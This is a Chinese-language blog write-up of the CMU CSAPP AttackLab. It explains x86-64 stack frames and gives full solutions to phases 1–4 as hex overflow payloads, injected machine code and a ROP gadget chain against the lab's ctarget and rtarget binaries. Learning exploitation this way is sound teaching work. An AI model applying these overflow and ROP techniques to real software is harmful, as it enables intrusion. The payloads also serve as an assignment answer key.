深入理解计算机系统CMU-15213 CSAPP(四):AttackLab
很多人经过BombLab后对汇编有一丁点暂时性阴影,从而看到其他博客的AttackLab汇编分析有点望而却步,但其实AttackLab并不涉及太大规模的汇编理解,只要对函数栈帧有一些理解,前面的题还是容易理解和解决的。
x86-64函数栈、调用与返回
x86-64函数栈的栈帧分布应该类似: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16高地址(栈底)
+----------------------------+
| 参数N(从右到左) | ← push 时先推入最后一个参数
| ... |
| 参数2 |
| 参数1 |
+----------------------------+
| 返回地址(由 call 指令压栈) | ← call func 把返回地址放在这里
+----------------------------+
| 上一帧的 %rbp(调用者的) | ← 被 push %ebp 保存
+----------------------------+
| 局部变量(局部数组等) |
| ... | ← 此处存储仍然是低地址到高地址存储
| buf[32] |
+----------------------------+ ← %rsp
低地址(栈顶)
在一年半前,我们在操作系统MIT
6.S081
xv6内核:基础理论就见过函数栈的基本结构,只不过那是Risc-V架构的,这里的ebp、rsp分别对应Risc-V的fp和sp指针,指向栈底和栈顶,栈的延申方向是高地址到低地址,
存放各种寄存器、变量时,压栈方向也是高地址到低地址,但注意局部变量的栈区域,存放顺序是低地址到高地址;
可见一个函数的调用过程,可概括为:
将函数参数从右往左入栈(因为它们都是Caller寄存器,调用者保存);
保存父函数返回地址(
call/callq硬件实现,本质是push %rip+callq指令长度,callq一般占5字节);保存父函数的栈底指针(
push %rbp; mov %rsp, %rbp);开辟子函数栈:
sub $N, %rsp;
但注意,栈底指针不是必须保存的,rbp保存是为了快速访问父函数的函数参数(如%rbp + 8、%rbp + 12)或者来自父函数的局部变量、数组变量等(如%rbp - 4、%rbp - 8),不涉及参数调用或者简单参数很可能在编译时被优化,称帧指针优化,通过编译选项可以强制保留或者显式优化:
1
2
3gcc -g -fno-omit-frame-pointer -O0 -o program program.c #不优化
gcc -O2 -fomit-frame-pointer -o program program.c #O2/O1优化
这里要注意的一个细节是,其实RiscV和x86-64的函数栈有细节区别,在于汇编设计上:
1
2
3
4
5
6
7
8#这是RiscV
addi sp, sp, -N
sd ra, 0(sp)
....
#这是x86_64
callq xxx
sub $N,%rsp
函数返回规则:
恢复栈顶指针(
mov %rbp, %rsp);清除rbp(
pop %rbp);返回到返回地址(
ret/retq,本质是pop %rip);
在Linux汇编中,规则1+2等效于leave命令,而且同样的,如果帧指针被优化,1和2可能就是直接变成偏移量恢复了:add $N, %rsp; ret;
AttackLab
Part I: Code Injection Attacks
第一部分是三个代码注入攻击,主要涉及了如何从汇编层面通过函数栈溢出研究如何影响函数跳转和参数传递,总的而言设计是比较简单的,也要求对x64函数栈帧分布有基本认识,因此在开篇我们已经记录一些基本基础。
Level 1.phase_1
phase
1是基本的代码注入攻击测试,其原理是通过输入溢出污染函数栈返回地址,从而使得函数跳转到恶意代码位置,只要没有因为溢出造成非法内存访问或堆栈破坏,这样的溢出不会发生段错误,因此函数读取的边界检查对程序安全至关重要,程序中用的Gets、scanf等函数就不具备这种安全性。
根据hins可以知道其调用关系: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20unsigned getbuf()
{
char buf[BUFFER_SIZE] :
Gets(buf);
return 1;
}
void test(){
int val;
val=getbuf(); //ToDo:getbuf不要返回test,而是跳转到touch1
printf("No exploit. Getbuf returned 0x%x\n",val);
}
void touchl(){
vlevel = 1;
/* Part of validation protocol */
printf("Touchl!:You called touchl() \n");
validate(1);
exit(0)
}getbuf后,不返回到test打印,而是跳转至touch1并执行其代码。
根据前述基础可知,这里的test和getbuf实际上就是帧优化的,意味着栈帧没有存储ebp,因此越界溢出只需要溢出1个栈帧(8个字节)即可,而不是16个字节:
1 | 0000000000401968 <test>: |
恶意代码touch1的函数地址是: 1
00000000004017c0 <touch1>: ......
1
2
3
4
5
600 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 /* for phase_1 */
最后需要将答案转成字节流再送入验证,这里无论是gdb调试和执行都要加上"-q"参数,以跳过向评分服务器发送数据,否则会报错,除非是CMU的嫡系学子:
1
2
3
4chmod +x hex2raw
./hex2raw < inputFile_phase1.txt > inputFile_Raw_phase1.txt
./ctarget -q < inputFile_Raw_phase1.txt
Level 2.phase_2
phase_2的任务同样是代码注入攻击,它不仅要求跳转到特定的恶意代码函数touch2,还需要给touch2传入参数,确保val条件成立且成功执行:
1
2
3
4
5
6
7
8
9
10
11
12
13void touch2(unsigned val){
vlevel = 2;
/* Part of validation protocol */
if(val==cookie){
printf("Touch2!: You called touch2(0x%.8x)\n",val);
validate(2);
}
else{
printf("Misfire: You called touch2 (0x%.8x)\n",val);
fail(2);
exit(0);
}
}
要求的执行流程:test->getbuf->touch2(value)
在林夕丶的提醒下,这里的栈空间是有限制的,test开辟了8字节空间,getbuf作为子栈,开辟了40字节空间,因此如果溢出字节超过48空间,就可能会造成segment fault,要注意的是,并不是简单的数据填充越出48字节就会导致段错误,因为test之上也有父栈帧,越界8字节大概率只会覆盖这些原有的栈帧,而不至于访问野指针,touch2中exit也直接结束整个进程,不会带来额外运行时问题。
但以下的答案在21年前的CSAPP版本是可用的,但在后面的CSAPP版本中将导致段错误,我比较接受的具体解释是:ret自身的弹栈(78 dc 61 55 00 00 00 00
这句)导致进入touch2后栈帧是异常高了8个字节,而参考x86_64汇编之四:函数调用、调用约定,x86_64栈帧调用函数时(如touch2中的printf)要求%rsp必须是16字节对齐:
1
2
3
4
5
6
7
848 c7 c7 fa 97 b9 59 /* movq $0x59b997fa, %rdi */
c3 /* ret */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* match 40 */
78 dc 61 55 00 00 00 00 /* 栈顶空间 */
ec 17 40 00 00 00 00 00 /* touch2 */getbuf子栈开始,因为栈顶的0x5561dc首先覆盖了返回地址,getbuf自身的ret会导致跳转至栈顶0x5561dc,然后执行movq和ret操作,因为上一次执行getbuf的ret时,地址0x5561dc78就已经弹栈了,所以现在的栈顶rsp = 0x4017ec,这个地址是touch2的地址,于是touch2被调用,攻击成功。
除了48字节是被设计的,另一个地方是这种双重ret的方法非常不标准,因为在汇编中ret前往往会通过add $N, %rsp来回收栈空间,或者使用leave(通过rbp更新rsp),这种双重ret的做法在正常代码非常少见,因为很容易操作到预设外的栈,所以touch1、touch2并没有过多的栈操作,在执行完后即通过exit结束整个进程,直接回收所有错乱的栈,不会导致运行问题。
既然这并不是答案,不能直接通过双重的溢出和双重的ret达到两次跳转的目的,实际上可以在第一次跳转后,手动增加一个压栈指令即可。
让我们从头开始:
cookie可以从cookie.txt文件中获取,为0x59b997fa,为了有足够的空间,我们的指令码可以在getbuf开辟的函数栈顶运行,最保守的方法是读取40字节返回后的第一条指令地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15gdb ./ctarget
Reading symbols from ./ctarget...
(gdb) b *0x4017b4
Breakpoint 1 at 0x4017b4: file buf.c, line 16.
(gdb) r -q
Starting program: /home/heygears/Desktop/CSAPP_Lab/attacklab/target1/ctarget -q
Cookie: 0x59b997fa
Type string:123
Breakpoint 1, getbuf () at buf.c:16
16 buf.c: No such file or directory.
(gdb) p $rsp
$1 = (void *) 0x5561dc78
这就是第一个返回地址,嵌入攻击执行指令为:
1
2
3mov $0x59b997fa, %edi #当然也可以用64位的movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
将他编译,反汇编成指令码: 1
2gcc -c phase2_assistance.S
objdump -d phase2_assistance.o > phase2_assistance_res.S
得到这样的phase2_assistance_res.S : 1
2
3
4
5
6
7
8phase2_assistance.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 68 ec 17 40 00 pushq $0x4017ec
a: c3 retq
于是将指令码和溢出的地址凑成48字节即是答案inputFile_phase2.txt:
1
2
3
4
5
6
7
8bf fa 97 b9 59 /* mov $0x59b997fa,%edi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* retq */
00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* 栈顶 */ hex2raw工具实现字节流转换:
1
2./hex2raw < inputFile_phase2.txt > inputFile_Raw_phase2.txt
./ctarget -q < inputFile_Raw_phase2.txt
若无误应该输出pass: 
Level 3.phase_3
读完Level
3,可以发现其实三个phase的任务是逐次递进的,因此思路和phase2也是差不多,phase3要求我们执行完test后跳转到touch3:
1
2
3
4
5
6
7
8
9
10
11
12void touch3(char *sval){
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}touch2区别,touch3中调用了hexmatch含两个参数,通过汇编可以看到它们来自哪里:
1
2
3
4
5
6
7
800000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
可见cookie是从栈上直接读的,无需我们放入,而sval则继承自touch3的参数,因此本phase的工作就是将字符串数据作为参数传入,首先需要将省略0x的cookie——“59b997fa”解析成ASCII码:
1
2
3(gdb) p/x "59b997fa"
$4 = {0x35, 0x39, 0x62, 0x39, 0x39, 0x37, 0x66, 0x61, 0x0}
从hins可以看出,本题重点是考虑将字符串放在哪一段位置:
- When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie. 调用 hexmatch 和 strncmp 函数时,它们会将数据压入堆栈,覆盖 getbuf 使用的缓冲区所在的部分内存。因此,您需要谨慎放置 cookie 的字符串表示形式。
所以只要调用touch3时中的hexmatch和strncmp函数时,保证getbuf的四十字节栈空间不存储相关数据即可,而所有的赋值指令会在进touch3前完成,所以这里只要额外地将字符串放到返回地址的前8字节即可,从phase2可以估算,为phase2相同的栈顶地址0x5561dc78 + 48字节 = 0x5561dca8,故参数赋值和压栈指令为:
1 | mov $0x5561dca8, %edi |
执行: 1
2gcc -c phase3_assistance.S
objdump -d phase3_assistance.o > phase3_assistance_res.S
得到指令码: 1
2
3
4
5
6
7
8
9phase3_assistance.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: bf a8 dc 61 55 mov $0x5561dca8,%edi
5: 68 fa 18 40 00 pushq $0x4018fa
a: c3 retq
连同要存放字符串"59b997fa"的ASCII码一起,凑齐48个字节外加test栈帧的8字节字符串(好像不考虑‘\0’也能通过实验):
1 | bf a8 dc 61 55 /* $rsp = 0x5561dc78,mov $0x5561dca8,%edi */ |
输入验证一下: 1
2./hex2raw < inputFile_phase3.txt > inputFile_Raw_phase3.txt
./ctarget -q < inputFile_Raw_phase3.txt
Part II: Return-Oriented Programming
接下来剩下的是两个rtarget的phase,难度可以说是直线上升,此前的三个phase之所以顺利完成,完全基于:
计算代码插入位置以及参数所在的位置,定义要执行的函数和参数;
栈上存储自定义的指令,直接执行函数;
上有政策,下有对策,rtarget为了防止代码注入,使用了两个方面的技术:
栈随机化技术。每次运行时堆栈位置不同,无法提前计算代码要插入的位置(但注意,ret函数地址还是可以执行的);
栈上标记代码不可执行,只有
.text段代码能够被执行;
为了完成以下实验,必须使用Return-Oriented
Programming,俗称ROP攻击,ROP攻击本身是一种“断章取义”,因为我们不能注入新代码,所以只能在已有的代码基础上实现特殊的指令目的,CMU老师举了一个例子:
1
2
3void setval_210(unsigned *p){
*p = 3347663060U;
}1
2
30000000000400f15 <setval 210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq48 89 c7对应movq %rax, %rdi,所以截取这些指令,一样可以达到执行特殊代码目的,并且通过ret返回到指定地址,继续断章取义,就能实现持续的ROP攻击,这些机器码+ret(c3)的组合,被称为gadget:

然而也能想到,不是所有程序都提供了足够的gadget实现我们攻击目的,rtarget本身也不能,所以CMU的老师创建了farm.c,里面是大量的赋值、取值函数,这些函数常常含有大量的gadget,并且被编入rtarget中,因此本节的任务是利用rtarget的gadget,实现ROP攻击,教授提供了如下的机器码关键字:

Level 2.phase_4
此phase需要完成Level 2.phase_2一样的目的,即需要完成函数touch2的执行:
1
2
3
4
5
6
7
8
9
10
11
12
13void touch2(unsigned val){
vlevel = 2;
/* Part of validation protocol */
if(val==cookie){
printf("Touch2!: You called touch2(0x%.8x)\n",val);
validate(2);
}
else{
printf("Misfire: You called touch2 (0x%.8x)\n",val);
fail(2);
exit(0);
}
}edi,随即触发touch2的执行(函数地址仍然是0x4017ec,注意这是编译期确定,和运行栈随机无关)。
先得到汇编代码: 1
objdump -d rtarget > rtarget.S
1
2gcc -Og -c -o fram.o farm.c #注意:只有Og优化才能保证gadget和rtarget.S一致
objdump -d farm.o > farm.S
从farm.S查找edi有关的mov指令,可见只有eax是一个gadget:
然而eax相关的mov
gadget一个也没有,根据手册,也只能来自pop了,其会将rsp指向的值存入寄存器,因此需要将字符串放在rsp位置,执行pop %eax,然后mov %eax, %edi,触发ret返回到touch2(0x4017ec),从farm.S找到对应的gadget,再找到rtarget.S对应的地址即可:
1
2
3
4
5
6
7
8
900 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 40垃圾字节 */
cc 19 40 00 00 00 00 00 /* gadget1: popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie字符串 */
a3 19 40 00 00 00 00 00 /* gadget2: movl %eax, %edi */
ec 17 40 00 00 00 00 00 /* touch2地址 */
因此我们知道,虽然ROP试验没有特别强调栈分布问题,但是答案都是被设计的。
验证: 1
2./hex2raw < inputFile_phase4.txt > inputFile_Raw_phase4.txt
./rtarget -q < inputFile_Raw_phase4.txt
Level 3.phase_5
待续
参考链接:
